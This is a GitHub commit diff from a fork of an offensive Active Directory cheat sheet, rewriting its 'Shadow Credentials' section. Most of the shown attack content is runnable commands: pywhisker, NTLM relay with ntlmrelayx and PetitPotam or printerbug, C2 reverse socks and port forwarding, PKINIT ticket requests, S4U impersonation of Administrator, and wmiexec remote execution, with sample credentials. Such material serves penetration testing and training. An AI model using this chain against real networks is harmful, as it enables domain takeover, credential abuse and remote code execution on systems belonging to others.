forked from swisskyrepo/InternalAllTheThings
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Shadows Credential + Network Enumeration
- Loading branch information
1 parent
b71698c
commit 7257e15
Showing
2 changed files
with
149 additions
and
72 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -39,38 +39,36 @@ | |
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e" | ||
``` | ||
|
||
**Scenario**: | ||
## Scenario | ||
|
||
- **Scenario 1**: Shadow Credential relaying | ||
- Trigger an NTLM authentication from `DC01` (PetitPotam) | ||
- Relay it to `DC02` (ntlmrelayx) | ||
- Edit `DC01`'s attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker) | ||
- Alternatively : `ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'` | ||
### Shadow Credential Relaying | ||
|
||
- Trigger an NTLM authentication from `DC01` (PetitPotam) | ||
- Relay it to `DC02` (ntlmrelayx) | ||
- Edit `DC01`'s attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker) | ||
- Alternatively : `ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'` | ||
|
||
- **Scenario 2**: Workstation Takeover with RBCD | ||
```ps1 | ||
# Only for C2: Add Reverse Port Forward from 8081 to Team Server 81 | ||
|
||
# Set up ntlmrelayx to relay authentication from target workstation to DC | ||
proxychains python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --shadow-credentials --shadow-target ws2\$ --http-port 81 | ||
### Workstation Takeover with RBCD | ||
|
||
# Execute printer bug to trigger authentication from target workstation | ||
proxychains python3 printerbug.py ez.lab/matt:Password1\[email protected] ws1@8081/file | ||
**Requirements**: | ||
|
||
# Get a TGT using the newly acquired certificate via PKINIT | ||
proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/impacket/examples/T12uyM5x.pfx -pfx-pass 5j6fNfnsU7BkTWQOJhpR | ||
* `Print Spooler` service running | ||
* `WebClient service` running | ||
|
||
# Get a ST (service ticket) for the target account | ||
proxychains python3 gets4uticket.py kerberos+ccache://ez.lab\\ws2\$:[email protected] cifs/[email protected] [email protected] administrator_tgs.ccache -v | ||
**Exploitation**: | ||
|
||
# Utilize the ST for future activity | ||
export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache | ||
proxychains python3 wmiexec.py -k -no-pass ez.lab/[email protected] | ||
``` | ||
* Using your C2, start a reverse socks on port 1080: `socks 1080` | ||
* Enable port forward from port 8081 to 81 on the compromised machine: `rportfwd 8081 127.0.0.1 81` | ||
* Start the relay: `proxychains python3 ntlmrelayx.py -t ldaps://dc.domain.lab --shadow-credentials --shadow-target target\$ --http-port 81` | ||
* Trigger a callback on webdav: `proxychains python3 printerbug.py domain.lab/user:[email protected] compromised@8081/file` | ||
* Use [PKINIT](https://github.com/dirkjanm/PKINITtools) to get a TGT for the machine account: `proxychains python3 gettgtpkinit.py domain.lab/target\$ target.ccache -cert-pfx </path/from/previous/command.pfx> -pfx-pass <pfx-pass>` | ||
* Elevate your privileges by creating a service ticket impersonating a local admin: `proxychains python3 gets4uticket.py kerberos+ccache://domain.lab\\target\$:[email protected] cifs/[email protected] [email protected] administrator_target.ccache -v` | ||
* Use your ticket: `export KRB5CCNAME=/path/to/administrator_target.ccache; proxychains python3 wmiexec.py -k -no-pass domain.lab/[email protected]` | ||
|
||
|
||
## References | ||
|
||
* [Shadow Credentials: Workstation Takeover Edition - Matthew Creel](https://www.fortalicesolutions.com/posts/shadow-credentials-workstation-takeover-edition) | ||
* [Shadow Credentials: Workstation Takeover Edition - Matthew Creel - October 21, 2021](https://www.fortalicesolutions.com/posts/shadow-credentials-workstation-takeover-edition) | ||
* [Shadow Credentials - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials) | ||
* [Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover - Elad Shamir - Jun 17](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters